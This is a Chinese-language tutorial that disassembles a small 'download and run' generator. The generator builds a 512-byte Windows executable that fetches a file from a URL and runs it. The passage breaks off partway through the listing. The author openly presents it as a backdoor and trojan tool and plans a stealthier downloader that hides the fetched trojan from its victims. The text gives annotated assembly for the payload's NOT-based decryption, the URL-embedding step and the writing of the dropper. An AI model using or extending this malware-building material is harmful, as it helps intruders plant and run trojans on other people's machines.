——兼談編寫屬于自己的downloader
我現在的理想是教書育人,不要覺得奇怪,估計你也感到現在太多的垃圾老師了。所以我想做的是取代他們。這就是我盡己所能寫點好文章的原因。
感謝冰狐浪子提供如此優(yōu)秀的作品
本文的測試平臺為winxp sp1,沒有在其它的系統(tǒng)上測試,可能由于align:512選項不能在98下運行。這次逆向工程的對象是:"冰狐浪子下載運行512生成器", 在眾多的downloader中,個人覺得這個工具是最理想的(僅僅從下載和執(zhí)行功能上來看),生成的"冰狐downRun512.exe"僅有512字節(jié)(大概是最小的啦)。后門嘛,當然越小越好拉。
1."冰狐浪子下載運行512生成器"的使用方法:
把Url.txt文件中的網址改為你要下載并運行的程序的下載地址
[注意:網址長度不能大于53個字符,并且Url.txt中不要有網址以外的其他多余的字符如回車]
然后運行<<冰狐浪子下載運行512生成器.exe>>
你將在同目錄下得到一個大小僅僅為512字節(jié)的<<冰狐downRun512.exe>>
冰狐downRun512.exe可以下載并且執(zhí)行URL中對應的程序。
2."冰狐浪子下載運行512生成器"的缺陷(純粹個人看法)
注意:作者提到長度不大于53個個字符,并且Url.txt中不要有網址以外的其他多余的字符如回車。
等會兒我會從匯編代碼級分析為什么要有這樣的限制。以及如何在我們自己寫的downloader中突破這樣的限制。另外該軟件的缺陷是:只能下載到當前目錄,這不是把我們辛辛苦苦從網上下載的木馬暴露在使用者的面前嗎?在我們自己寫的downloader中一定要避免這個問題,
也就是允許用戶指定下載的文件的存放路徑。
3.本文使用的工具:
ollydbg1.0中文修改版,Microsoft Visual C++ 6.0,Hex Workshop 4.2。
為什么不用IDA,因為IDA太慢了,以前試用過2次,實在慢得無法忍受。再說了,一般情況下ollydbg就夠用,而且速度飛快。Hex Workshop用于比較文件,和查找字符串的偏移量,以及測試我們的分析是否正確。
4.反匯編代碼分析:
如果你有一點點匯編和c語言基礎,知道幾個API,那么下面的分析應該是種享受,因為冰狐浪子下載運行512生成器好象是用匯編語言編寫的,結構清晰,反匯編的代碼可讀性級佳,很值得學習。特別適合于學習win32匯編。
下面的分析使用的是作者發(fā)布的程序中自帶的URL.txt,
文件存放的URL是:"http://www.godog.y365.com/cs/icyfox.jpg"。好了,開始享受代碼吧:
下面第一段代碼是程序入口,解密從401000開始的0x200(512)個字節(jié),也就是生成的“冰狐downRun512”的大部分二進制代碼,為什么是大部分,而不是全部呢?因為還有URL是可變的,需要通過URL.txt來讀取,還有生成的文件名“冰狐downRun512”也是要讀取的。
解密512個字節(jié),剛好是生成的"冰狐downRun512.exe"的大小,不是巧合哦
0040121F 冰>/$ B9 00020000 mov ecx,200 ; 0x200即十進制的512
00401224 |. 8D35 001040>lea esi,dword ptr ds:[401000]
0040122A |. 8D3D 001040>lea edi,dword ptr ds:[401000]
00401230 |> AC /lods byte ptr ds:[esi]
00401231 |. F6D0 |not al ;解密方法:取反
00401233 |. AA |stos byte ptr es:[edi] ;再保存回去
00401234 |.^ E2 FA \loopd short 冰狐浪子.00401230 ;循環(huán)解密
檢測當前目錄下是否存在"url.txt"
00401236 |. 6A 00 push 0 ; /hTemplateFile = NULL
00401238 |. 68 80000000 push 80 ; |Attributes = NORMAL
0040123D |. 6A 03 push 3 ; |Mode = OPEN_EXISTING
0040123F |. 6A 00 push 0 ; |pSecurity = NULL
00401241 |. 6A 01 push 1 ; |ShareMode = FILE_SHARE_READ
00401243 |. 68 00000080 push 80000000 ; |Access = GENERIC_READ
00401248 |. 68 04124000 PUSH bh.00401204 ; |FileName = "url.txt",通過讀取00401204處的字符串作為要讀取的文件名
0040124D |. E8 82000000 call <jmp.&kernel32.CreateFileA> ; \CreateFileA
00401252 |. 83F8 FF cmp eax,-1 ; 檢測當前目錄下是否有url.txt
00401255 |. 74 6F je short 冰狐浪子.004012C6 ; 沒有,則程序退出
讀取"url.txt"中的0x35即53個字節(jié),還記得前面提到的53個字節(jié)的限制嗎?就體現在這里了。
00401257 |. 8BD8 mov ebx,eax
00401259 |. 6A 00 push 0 ; /pOverlapped = NULL
0040125B |. 68 00124000 push 冰狐浪子.00401200 ; |pBytesRead = 冰狐浪子.00401200
00401260 |. 6A 35 push 35 ; |BytesToRead = 35 (也就是十進制的53)
00401262 |. 68 06104000 push 冰狐浪子.00401006 ; |Buffer = 冰狐浪子.00401006
00401267 |. 53 push ebx ; |hFile
00401268 |. E8 73000000 call <jmp.&kernel32.ReadFile> ; \ReadFile
0040126D |. 53 push ebx ; /hObject
0040126E |. E8 5B000000 call <jmp.&kernel32.CloseHandle> ; \CloseHandle
這4句把從"url.txt"中的0x35即53個字節(jié)URL進行取反加密,加密長度為把URL的長度
00401273 |. 8B0D 001240>mov ecx,dword ptr ds:[401200] ; 把URL的長度放到ecx
00401279 |. 8D35 061040>lea esi,dword ptr ds:[401006] ;注意這個地址401006,到最后生成的"冰狐downRun512.exe"
其文件偏移量是6,后面寫自己的downloader時需要定位到相應的地方
0040127F |. 8D3D 061040>lea edi,dword ptr ds:[401006]
00401285 |> AC /lods byte ptr ds:[esi] ;
00401286 |. F6D0 |not al
00401288 |. AA |stos byte ptr es:[edi]
00401289 |.^ E2 FA \loopd short 冰狐浪子.00401285
調用CreateFileA創(chuàng)建 "冰狐downRun512.exe"
0040128B |. 6A 00 push 0 ; /hTemplateFile = NULL
0040128D |. 68 80000080 push 80000080 ; |Attributes = NORMAL|WRITE_THROUGH
00401292 |. 6A 02 push 2 ; |Mode = CREATE_ALWAYS
00401294 |. 6A 00 push 0 ; |pSecurity = NULL
00401296 |. 6A 00 push 0 ; |ShareMode = 0
00401298 |. 68 00000040 push 40000000 ; |Access = GENERIC_WRITE
0040129D |. 68 0C124000 push 冰狐浪子.0040120C ; |FileName = "冰狐downRun512.exe"
004012A2 |. E8 2D000000 call <jmp.&kernel32.CreateFileA> ; \CreateFileA
寫入0x200即512字節(jié)
004012A7 |. 8BD8 mov ebx,eax ;
004012A9 |. 6A 00 push 0 ; /pOverlapped = NULL
004012AB |. 68 00124000 push 冰狐浪子.00401200 ; |pBytesWritten = 冰狐浪子.00401200
004012B0 |. 68 00020000 push 200 ; |nBytesToWrite = 200 (512.)
004012B5 |. 68 00104000 push 冰狐浪子.00401000 ; |Buffer = 冰狐浪子.00401000 和00401200的距離是0x200即512個字節(jié)